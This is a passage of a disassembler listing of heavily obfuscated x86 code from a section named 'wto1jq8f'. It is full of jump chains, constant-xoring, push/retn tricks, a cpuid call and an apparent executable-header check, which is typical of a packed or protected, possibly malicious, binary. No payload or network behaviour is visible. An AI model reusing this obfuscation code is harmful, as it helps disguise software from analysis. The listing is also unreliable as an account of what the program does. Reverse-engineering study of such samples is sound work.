sub_429BD3:loc_425BF8j push eax push ecx push 0CAB5A9E0h mov ecx, offset loc_42838F xchg ecx, [esp+18h+var_18] retn ; END OF FUNCTION CHUNK FOR sub_429BD3 ; --------------------------------------------------------------------------- jmp locret_424A58 ; --------------------------------------------------------------------------- loc_42838F: ; DATA XREF: sub_429BD3-1852o add ecx, 358CD600h jmp loc_42E712 ; --------------------------------------------------------------------------- loc_42839A: ; CODE XREF: wto1jq8f:loc_429CA3j add [esi], eax push edi push 0AB12B42Ah pop edi xor edi, 0ABED4B2Dh jmp loc_42AB93 ; --------------------------------------------------------------------------- loc_4283AE: ; CODE XREF: wto1jq8f:004282BAj not ebx shr ebx, 18h mov eax, [ebp+0] sub esi, ebp jmp loc_42C172 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_4283BD: ; CODE XREF: sub_426535:loc_426545j cmp dword ptr [ebp-4], 3 jnz loc_42C172 jmp loc_42FB48 ; END OF FUNCTION CHUNK FOR sub_426535 ; =============== S U B R O U T I N E ======================================= sub_4283CC proc near ; DATA XREF: wto1jq8f:00426B7Eo ; FUNCTION CHUNK AT 00427906 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428B81 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042A77F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042EF0E SIZE 00000009 BYTES cmp eax, 0C3C033h jnz loc_42A77F jmp loc_427906 sub_4283CC endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4283DC: ; CODE XREF: wto1jq8f:loc_4269EAj jnb loc_429DDE popf mov edi, 85BA8EC4h or ebp, esi jmp loc_42C8D1 ; --------------------------------------------------------------------------- locret_4283EF: ; CODE XREF: wto1jq8f:0042D573j retn ; --------------------------------------------------------------------------- loc_4283F0: ; CODE XREF: wto1jq8f:0042454Fj ; wto1jq8f:loc_427B8Aj push offset loc_42E369 jmp loc_42CC5B ; --------------------------------------------------------------------------- ror eax, 1Bh jmp sub_42AC24 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_152. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CF6A loc_428403: ; CODE XREF: sub_42CF6A-6F45j jmp nullsub_105 ; END OF FUNCTION CHUNK FOR sub_42CF6A ; --------------------------------------------------------------------------- loc_428408: ; CODE XREF: wto1jq8f:004285C4j call near ptr sub_42CB36 test al, al jz loc_42AE32 jmp loc_427B56 ; --------------------------------------------------------------------------- push esi jmp loc_42B0C8 ; --------------------------------------------------------------------------- push 0A6B9B56Eh pop edx call sub_42C1EE loc_42842B: ; DATA XREF: wto1jq8f:loc_429857o ror eax, 3 push eax retn ; --------------------------------------------------------------------------- push ebp jmp loc_42A7DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426EA9 loc_428436: ; CODE XREF: sub_426EA9+24E2j push ecx push 8F202182h pop ecx or ecx, 0E4F1861Fh sub ecx, 0BC3724F2h add ecx, 0CC885A9Ch jmp near ptr dword_4254D8+30h ; END OF FUNCTION CHUNK FOR sub_426EA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A2B8 loc_428454: ; CODE XREF: sub_42A2B8:loc_427F29j call sub_428BA9 test eax, 20000000h jmp loc_42A2F0 ; END OF FUNCTION CHUNK FOR sub_42A2B8 ; --------------------------------------------------------------------------- shl ebp, 6 jmp sub_426EA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42596F loc_42846C: ; CODE XREF: sub_42596F:loc_42597Bj call sub_42D765 retn ; END OF FUNCTION CHUNK FOR sub_42596F ; --------------------------------------------------------------------------- loc_428472: ; CODE XREF: wto1jq8f:loc_42ECB4j ; wto1jq8f:0042ECCCj call near ptr sub_42CB36 test al, al jz near ptr loc_42F4AF+1 jmp loc_426432 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426950 loc_428484: ; CODE XREF: sub_426950+2DA1j mov ebp, ebx pop ebx mov eax, ds:dword_42CAEC or eax, eax jmp loc_42BB0D ; END OF FUNCTION CHUNK FOR sub_426950 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_428494: ; CODE XREF: sub_426535:loc_42AF7Dj push offset loc_42B484 jmp sub_429E0C ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CBD1 loc_42849E: ; CODE XREF: sub_42CBD1-1AE8j mov [ebp+0], edx loc_4284A1: ; CODE XREF: sub_42CBD1:loc_42A4EFj call sub_42DEFF loc_4284A6: ; CODE XREF: wto1jq8f:loc_4262B0j ; sub_42606D:loc_42B507j or ecx, 0A102C815h xor ecx, 90011067h add ecx, ebp add ecx, 0C0C9225Ah mov [ecx], edx xchg edx, [esp+4+var_4] push offset loc_42FD42 jmp nullsub_68 ; END OF FUNCTION CHUNK FOR sub_42CBD1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260DB loc_4284C9: ; CODE XREF: sub_4260DB+7479j jz loc_4288B6 ; END OF FUNCTION CHUNK FOR sub_4260DB ; START OF FUNCTION CHUNK FOR sub_429318 loc_4284CF: ; CODE XREF: sub_429318+Dj jmp loc_42BB82 ; END OF FUNCTION CHUNK FOR sub_429318 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_4284D4: ; CODE XREF: sub_42ADC7-41E7j jmp loc_42D949 ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; --------------------------------------------------------------------------- ror edx, 15h jmp loc_42EFDF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB49 loc_4284E1: ; CODE XREF: sub_42CB49-23ACj ja loc_426CD4 jmp loc_425019 ; END OF FUNCTION CHUNK FOR sub_42CB49 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4284EC proc far ; CODE XREF: sub_42A202+5p var_1A = byte ptr -1Ah var_8 = byte ptr -8 arg_2368CF1D = byte ptr 2368CF25h ; FUNCTION CHUNK AT 00424E7B SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00426002 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004287E6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A18C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A7D3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042ACCA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B599 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042E6E6 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042FEAC SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042FEDB SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0042FF18 SIZE 00000074 BYTES ; FUNCTION CHUNK AT 0042FFAC SIZE 0000000E BYTES push ebp mov ebp, esp push ecx mov esp, ebp pop ebp push 254E0F03h pop eax rol eax, 18h jmp loc_42E6E6 sub_4284EC endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov [esp], ecx push edx jnb loc_42A5BE push esi jmp loc_42CF20 ; --------------------------------------------------------------------------- loc_428511: ; CODE XREF: wto1jq8f:loc_427D26j and esi, 0D59B8B5Ah add esi, 0EC3EE905h xchg esi, [esp] jmp sub_42A56D ; --------------------------------------------------------------------------- push 65723B39h pop esi loc_42852B: ; CODE XREF: wto1jq8f:loc_42B98Aj add esi, 926FD287h and esi, 0A183C09Bh add esi, 5EC086A5h call sub_4292AD loc_428542: ; DATA XREF: wto1jq8f:0042BDDAo add eax, 234F146Bh call sub_428183 jmp loc_428DCB ; --------------------------------------------------------------------------- loc_428552: ; CODE XREF: wto1jq8f:00427F84j jnz loc_42ECC5 call near ptr sub_42CB36 test al, al jmp loc_42ECB4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424BD4 loc_428564: ; CODE XREF: sub_424BD4j ; sub_42C4E2-2140j cmp dword ptr [ebp-10h], 1 jnz loc_426758 mov eax, [ebp+8] mov eax, [eax-8] or eax, 8 or eax, 10h jmp loc_42793B ; END OF FUNCTION CHUNK FOR sub_424BD4 ; --------------------------------------------------------------------------- loc_42857F: ; CODE XREF: wto1jq8f:004243D2j jnz loc_429990 jmp loc_42EF86 ; --------------------------------------------------------------------------- push 724396AFh pop eax add eax, 8DFF3F19h mov eax, [eax] jmp loc_42A980 ; =============== S U B R O U T I N E ======================================= sub_42859D proc near ; CODE XREF: wto1jq8f:0042CC55j ; wto1jq8f:0042DEC6p arg_0 = dword ptr 4 mov [esp+0], esi pop esi add edx, 0ED3A4838h xchg edx, [esp-4+arg_0] jmp sub_429165 sub_42859D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4285AF proc near ; CODE XREF: sub_425AAA+3j ; FUNCTION CHUNK AT 0042A027 SIZE 00000005 BYTES add esp, 0FFFFFFCCh lea eax, sub_4266EF push offset word_428C82 jmp loc_42A027 sub_4285AF endp ; --------------------------------------------------------------------------- test al, al jz loc_428408 call nullsub_152 retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EDB9 loc_4285D0: ; CODE XREF: sub_42EDB9-449Dj jmp loc_424C2E ; END OF FUNCTION CHUNK FOR sub_42EDB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_4285D5: ; CODE XREF: sub_42A909-3359j jmp loc_425098 ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_4285DA: ; CODE XREF: sub_42DC5C:loc_42BCCFj ; sub_42DC5C+100Dj push offset sub_42E83D jmp loc_42DFDB ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- loc_4285E4: ; CODE XREF: wto1jq8f:004274A8j add ebx, 0EA24669Ch popf ; START OF FUNCTION CHUNK FOR sub_42727F loc_4285EB: ; CODE XREF: sub_42727F:loc_427499j xor ecx, 7864812Bh add ecx, ebp push ebx push 9AD0926Eh pop ebx xor ebx, 2CA61C8Ah jmp loc_42EAB0 ; END OF FUNCTION CHUNK FOR sub_42727F ; --------------------------------------------------------------------------- loc_428605: ; CODE XREF: wto1jq8f:loc_427153j add eax, [ebp-4] xor edx, edx push edx jmp loc_426341 ; --------------------------------------------------------------------------- loc_428610: ; CODE XREF: wto1jq8f:loc_42730Ej add eax, [esp] loc_428613: ; CODE XREF: wto1jq8f:loc_426D99j adc edx, [esp+4] add esp, 8 jmp loc_42AACF ; --------------------------------------------------------------------------- locret_42861F: ; CODE XREF: wto1jq8f:00425EE4j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AA68 loc_428620: ; CODE XREF: sub_42AA68+417Cj jmp loc_42BCF7 ; END OF FUNCTION CHUNK FOR sub_42AA68 ; --------------------------------------------------------------------------- loc_428625: ; CODE XREF: wto1jq8f:004271E2j jz loc_42E986 jmp loc_42F4AA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_93. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_428631: ; CODE XREF: wto1jq8f:0042D62Ej jnz loc_427630 jmp loc_424795 ; --------------------------------------------------------------------------- loc_42863C: ; CODE XREF: wto1jq8f:00425AF4j cmp ebp, ecx jmp loc_42B056 ; --------------------------------------------------------------------------- loc_428643: ; CODE XREF: wto1jq8f:0042AE3Fj shr esi, 8 cmp ecx, 8589575Dh jmp loc_4289BA ; --------------------------------------------------------------------------- jns loc_42DB24 xor esi, 7D9D9409h add ecx, ebp ; START OF FUNCTION CHUNK FOR sub_426535 loc_42865F: ; CODE XREF: sub_426535:loc_42A5A8j push offset sub_428FD1 jmp loc_42DC4D ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_428669: ; CODE XREF: sub_42ADC7:loc_428ECCj add ebx, 1FC93968h xor ebx, 511938CDh sub eax, ebx pop ebx push ebp mov [esp+8+var_8], eax pushf push 0CD3F662Ah jmp loc_4247FF ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_74. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260A9 loc_428688: ; CODE XREF: sub_4260A9+8C06j jmp loc_429861 ; END OF FUNCTION CHUNK FOR sub_4260A9 ; --------------------------------------------------------------------------- loc_42868D: ; CODE XREF: wto1jq8f:0042CBA6j jmp loc_42E629 ; --------------------------------------------------------------------------- jmp loc_42BFF5 ; --------------------------------------------------------------------------- jmp loc_42D487 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428333 loc_42869C: ; CODE XREF: sub_428333:loc_424CA9j test eax, 2 jz loc_4272DE mov eax, 63h push ebx push 10EDE9B0h pop ebx add ebx, 0EF54BCD4h jmp loc_42C3FE ; END OF FUNCTION CHUNK FOR sub_428333 ; --------------------------------------------------------------------------- cdq jo loc_424ACE jmp near ptr sub_429459 ; --------------------------------------------------------------------------- loc_4286CA: ; CODE XREF: wto1jq8f:0042C0C8j cmp edi, ebx pop ebx jbe loc_4248DF jmp loc_42E41F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D58 loc_4286D8: ; CODE XREF: sub_424D58+9BDCj js loc_42CEF5 xor ecx, 9C47DFF0h mov [eax], esi push ecx jmp loc_4292D5 ; END OF FUNCTION CHUNK FOR sub_424D58 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4286EC proc near ; DATA XREF: sub_4269EF+1o var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00428785 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0042A4C7 SIZE 00000005 BYTES mov ebp, esp push ecx push 0E2FD3E9h xor [esp+8+var_8], 8E2FD3E9h jmp loc_42A4C7 sub_4286EC endp ; --------------------------------------------------------------------------- loc_428700: ; CODE XREF: wto1jq8f:loc_428179j jnz loc_42E294 jmp loc_429C74 ; --------------------------------------------------------------------------- cmp dword ptr [ebp-4], 7 jnz loc_42E294 jmp loc_42C3F8 ; --------------------------------------------------------------------------- add edx, 4C907BEBh jmp near ptr sub_42C031 ; --------------------------------------------------------------------------- push eax rol eax, 14h mov ds:dword_42956C, eax retn ; --------------------------------------------------------------------------- loc_428730: ; CODE XREF: wto1jq8f:0042B55Aj ; wto1jq8f:0042C7B5j ror eax, 14h push eax call sub_42D765 jmp loc_42C6AB ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42873E proc near ; DATA XREF: sub_427F4E+8o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042B8DE SIZE 00000005 BYTES push ebx xchg ebp, ebx mov ebp, esp push 688E182Fh mov [esp+4+var_4], ecx push offset loc_42655A jmp loc_42B8DE sub_42873E endp ; =============== S U B R O U T I N E ======================================= sub_428755 proc near ; CODE XREF: wto1jq8f:00428961j ; wto1jq8f:00429F05p arg_0 = dword ptr 4 xchg esi, [esp+0] pop esi xchg edi, [esp-4+arg_0] retn sub_428755 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42875D: ; DATA XREF: sub_429A99+13o push 0FDAB31A1h pop edx push offset loc_42A812 jmp loc_42A70D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_42876D: ; CODE XREF: sub_42D9D9:loc_42D40Dj sub edi, edx add edx, 0C20D7184h jmp loc_42AC95 ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; --------------------------------------------------------------------------- ja loc_428D0B jmp loc_426588 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4286EC loc_428785: ; CODE XREF: sub_4286EC:loc_42A4C7j push 0 push ebx push 6E420192h pop ebx xor ebx, 0B3B8850Ch add ebx, 0C4B0B668h xor ebx, 0A2AB3B06h jmp near ptr dword_424C74+21h ; END OF FUNCTION CHUNK FOR sub_4286EC ; --------------------------------------------------------------------------- db 0Fh, 8Ch, 7Dh dd 0E900003Eh, 0FFFFED26h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42821F loc_4287B0: ; CODE XREF: sub_42821F:loc_42E44Fj xchg ecx, [esp-8+arg_4] push 3 push 80000000h mov eax, [ebp-8] call near ptr sub_429BFF loc_4287C2: ; CODE XREF: sub_426437:loc_42643Cj add eax, 8BEF4423h xchg eax, [esp+0] jmp sub_424585 ; END OF FUNCTION CHUNK FOR sub_42821F ; =============== S U B R O U T I N E ======================================= sub_4287D0 proc near ; CODE XREF: wto1jq8f:0042BC4Fj ; sub_42C547p xchg edi, [esp+0] pop edi jns sub_42704E sub_4287D0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4287DA proc near ; CODE XREF: sub_42606D-1C10j ; FUNCTION CHUNK AT 00424469 SIZE 00000005 BYTES push ebp push offset loc_42987C jmp loc_424469 sub_4287DA endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_95. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4284EC loc_4287E6: ; CODE XREF: sub_4284EC+620Aj jmp loc_42A18C ; END OF FUNCTION CHUNK FOR sub_4284EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CBD1 loc_4287EB: ; CODE XREF: sub_42CBD1:loc_427D1Cj pop ebx and ebx, 24F0E767h add ebx, 0FB52527Ah call sub_427A53 loc_4287FD: ; CODE XREF: sub_4282FE+Dj jmp loc_42D520 ; END OF FUNCTION CHUNK FOR sub_42CBD1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_428802: ; CODE XREF: sub_42ADC7-439Ej jmp loc_425EC7 ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; --------------------------------------------------------------------------- loc_428807: ; CODE XREF: wto1jq8f:loc_427981j cmp eax, ebx jmp loc_42AD95 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DBA6 loc_42880E: ; CODE XREF: sub_42DBA6:loc_428F96j add edi, 9C74502Ah and edi, 8F60EB02h add edi, 1167C615h add edi, ecx add edi, 6C5791A3h mov [edi], eax pop edi push offset loc_4275BC jmp near ptr loc_42F4DF+4 ; END OF FUNCTION CHUNK FOR sub_42DBA6 ; --------------------------------------------------------------------------- push 138A57E4h jmp loc_4282BF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_148. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424585 loc_428840: ; CODE XREF: sub_424585+35ADj jmp loc_4262E3 ; END OF FUNCTION CHUNK FOR sub_424585 ; =============== S U B R O U T I N E ======================================= sub_428845 proc near ; DATA XREF: sub_42E115+10o ; FUNCTION CHUNK AT 0042A03C SIZE 00000005 BYTES pop ecx pop ebp jmp loc_42A03C sub_428845 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42884C: ; CODE XREF: sub_42DC5C+8j call sub_42E785 loc_428851: ; CODE XREF: sub_42DA7A-1BA2j jz near ptr loc_42F5A7+1 jmp loc_424D6E ; END OF FUNCTION CHUNK FOR sub_42DC5C ; =============== S U B R O U T I N E ======================================= sub_42885C proc near ; CODE XREF: sub_42992F+26j ; sub_42BC9B+Ep ; FUNCTION CHUNK AT 0042BD2C SIZE 00000005 BYTES mov eax, ds:dword_42F1CC push offset loc_42666E jmp loc_42BD2C sub_42885C endp ; --------------------------------------------------------------------------- or eax, eax jnz loc_42AE2C push offset loc_42AE21 jmp locret_424E1D ; --------------------------------------------------------------------------- dw 458Bh dd 0FC4589D0h, 66FC458Bh, 5A4D3881h, 6D16850Fh, 85E90000h db 45h, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4276C3 loc_428897: ; CODE XREF: sub_4276C3+1F3j call sub_42C75F mov eax, [ebp-80Ch] push eax push 0AFFFF7C5h jmp loc_42E2F5 ; END OF FUNCTION CHUNK FOR sub_4276C3 ; --------------------------------------------------------------------------- js sub_429017 rol ebx, 4 ; START OF FUNCTION CHUNK FOR sub_4260DB loc_4288B6: ; CODE XREF: sub_4260DB:loc_4284C9j add eax, 87D8591Fh call sub_42AFCD loc_4288C1: ; CODE XREF: wto1jq8f:0042C3E0j xor ecx, ecx push offset loc_42C379 jmp nullsub_38 ; END OF FUNCTION CHUNK FOR sub_4260DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A197 loc_4288CD: ; CODE XREF: sub_42A197:loc_42AA89j jnz loc_42EFBE loc_4288D3: ; CODE XREF: sub_42628C+6EC4j jmp loc_42DE54 ; END OF FUNCTION CHUNK FOR sub_42A197 ; --------------------------------------------------------------------------- cdq jmp loc_42E95F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DB52 loc_4288DE: ; CODE XREF: sub_42DB52-9152j add edi, 0E171403Bh sub eax, 6FCF7C9Dh mov edx, esi jge loc_427D03 jmp loc_427D37 ; END OF FUNCTION CHUNK FOR sub_42DB52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_4288F7: ; CODE XREF: sub_429471:loc_42A037j ja loc_42827F xchg edx, [edi] jmp loc_42C364 ; END OF FUNCTION CHUNK FOR sub_429471 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_150. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EDB9 loc_428905: ; CODE XREF: sub_42EDB9-6B29j mov edi, [edx] jnb nullsub_84 jmp loc_4281D5 ; END OF FUNCTION CHUNK FOR sub_42EDB9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_143. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4295AA loc_428913: ; CODE XREF: sub_4295AA+Aj jmp nullsub_94 ; END OF FUNCTION CHUNK FOR sub_4295AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_428918: ; CODE XREF: sub_429BFF+2CBDj jnz loc_426DAC jmp loc_42BEC0 ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- adc eax, 598DC676h jmp sub_42D8F4 ; --------------------------------------------------------------------------- call sub_42E04D loc_428933: ; CODE XREF: wto1jq8f:004260A4j jmp loc_42E863 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427106 loc_428938: ; CODE XREF: sub_427106-5B4j mov ecx, [ebp+0] xor ebp, ecx loc_42893D: ; CODE XREF: sub_427106:loc_426B46j and edx, 0F5FE6BB5h loc_428943: ; CODE XREF: wto1jq8f:loc_42DE81j add edx, 2E848C30h xchg edx, [esp+4+var_4] jmp sub_424585 ; END OF FUNCTION CHUNK FOR sub_427106 ; --------------------------------------------------------------------------- loc_428951: ; CODE XREF: wto1jq8f:loc_429436j or eax, eax jnz loc_42A298 jmp loc_42638D ; --------------------------------------------------------------------------- adc eax, ebx popf jmp sub_428755 ; --------------------------------------------------------------------------- push eax call sub_424B70 mov eax, [ebp-80Ch] push eax push edi jmp loc_42BFA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244EA loc_428979: ; CODE XREF: sub_4244EA+4E74j and al, 0F6h cmp al, 0C2h jz loc_427CC2 mov eax, [ebp-4] mov ax, [eax] jmp loc_42B38E ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42898E: ; CODE XREF: sub_42DC5C:loc_42DD69j and esi, 0AB2D6251h xor esi, 22086205h call sub_42C4CF loc_42899F: ; CODE XREF: sub_426535+16DCj jmp nullsub_114 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- dd 69E9FD23h db 6Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_4289AB: ; CODE XREF: wto1jq8f:loc_424364j mov eax, [eax] or eax, eax jnz loc_42B96B jmp loc_4281D8 ; --------------------------------------------------------------------------- loc_4289BA: ; CODE XREF: wto1jq8f:0042864Cj jg loc_42A9A1 xchg esi, ebp jmp near ptr dword_4279A0+2Ch ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_4289C7: ; CODE XREF: sub_42D9D9:loc_42C652j pop edi and edi, 1B88D8ACh add edi, 0E4C29818h mov [edi], eax pop edi jmp loc_424A5E ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; --------------------------------------------------------------------------- loc_4289DC: ; CODE XREF: wto1jq8f:004294A5j add edi, 0FAC5C6F0h cmp ecx, 830310C2h jmp loc_42EC23 ; --------------------------------------------------------------------------- not edi jmp loc_42DDE6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_4289F4: ; CODE XREF: sub_42DC5C+FF0j xor ecx, 3DDD25BAh and ecx, 0F4434B71h add ecx, 903FEF6Ch xchg ecx, [esp+10h+var_10] jmp sub_427A8D ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- loc_428A0E: ; CODE XREF: wto1jq8f:00428EB1j ; wto1jq8f:loc_4296D1j test ebp, 28B5CDE9h jmp loc_42B196 ; =============== S U B R O U T I N E ======================================= sub_428A19 proc near ; CODE XREF: wto1jq8f:00425FB4p ; FUNCTION CHUNK AT 004245A9 SIZE 0000000C BYTES mov [esp+0], eax push 0 push 10h call sub_427D82 mov [ebp-10h], eax cmp dword ptr [ebp-10h], 0 jz loc_4245A9 lea eax, [ebp-24h] loc_428A35: ; CODE XREF: wto1jq8f:00429005j jmp loc_42C15D sub_428A19 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_428A3A: ; CODE XREF: sub_42DC5C:loc_42EC5Ej cmp ecx, ebx jmp loc_42C988 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BD3 loc_428A41: ; CODE XREF: sub_429BD3+1DE7j jge loc_429753 or esi, ecx jmp loc_42D7F7 ; END OF FUNCTION CHUNK FOR sub_429BD3 ; =============== S U B R O U T I N E ======================================= sub_428A4E proc near ; CODE XREF: sub_426535:loc_425D85j ; wto1jq8f:0042EDB8j ; DATA XREF: ... push eax push offset sub_42B4FD jmp nullsub_118 sub_428A4E endp ; --------------------------------------------------------------------------- loc_428A59: ; CODE XREF: wto1jq8f:loc_42963Dj xor edx, edx cpuid push offset sub_42CB49 jmp loc_42C5B6 ; --------------------------------------------------------------------------- mov ebp, edx pop edx mov eax, ds:dword_42F0C0 or eax, eax jnz loc_429617 jmp loc_427F61 ; --------------------------------------------------------------------------- loc_428A7D: ; DATA XREF: wto1jq8f:0042473Eo xchg edi, [esp] jmp sub_429165 ; --------------------------------------------------------------------------- call sub_424B47 loc_428A8A: ; CODE XREF: wto1jq8f:00428DB9j jmp loc_42CB1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_428A8F: ; CODE XREF: sub_42ADC7-65BAj xor ecx, eax mov eax, offset loc_428AA4 xchg eax, [esp-8+arg_0] retn ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D1A8 loc_428A9A: ; CODE XREF: sub_42D1A8+11j jmp loc_42C657 ; END OF FUNCTION CHUNK FOR sub_42D1A8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42669E loc_428A9F: ; CODE XREF: sub_42669E+Ej jmp loc_42E88E ; END OF FUNCTION CHUNK FOR sub_42669E ; --------------------------------------------------------------------------- loc_428AA4: ; DATA XREF: sub_42ADC7-2336o sub eax, ebx cmp ecx, 641D3431h jmp loc_42CEE3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4267AE loc_428AB1: ; CODE XREF: sub_4267AE:loc_424C63j add eax, 0F4CF0A9h add eax, ebp add eax, 0F0D7D344h mov eax, [eax] jmp loc_42A0AC ; END OF FUNCTION CHUNK FOR sub_4267AE ; =============== S U B R O U T I N E ======================================= sub_428AC6 proc near ; CODE XREF: sub_42606D-1C1Dp ; wto1jq8f:0042A404j ; FUNCTION CHUNK AT 0042BD4F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E250 SIZE 00000017 BYTES xchg ecx, [esp+0] pop ecx movzx eax, word ptr [eax+6] push edx push 574869A0h jmp loc_42BD4F sub_428AC6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- jo loc_42BCFD jmp sub_42E076 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_92. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_428AE5 proc near ; DATA XREF: wto1jq8f:0042E93Fo ; FUNCTION CHUNK AT 00424929 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425C23 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 004271DC SIZE 00000005 BYTES call sub_429165 call sub_424585 push 0E6E517EDh pop edx jmp loc_4271DC sub_428AE5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B5E4 loc_428AFA: ; CODE XREF: sub_42B5E4+7j cmp eax, 7C61090Eh retn ; END OF FUNCTION CHUNK FOR sub_42B5E4 ; --------------------------------------------------------------------------- loc_428B00: 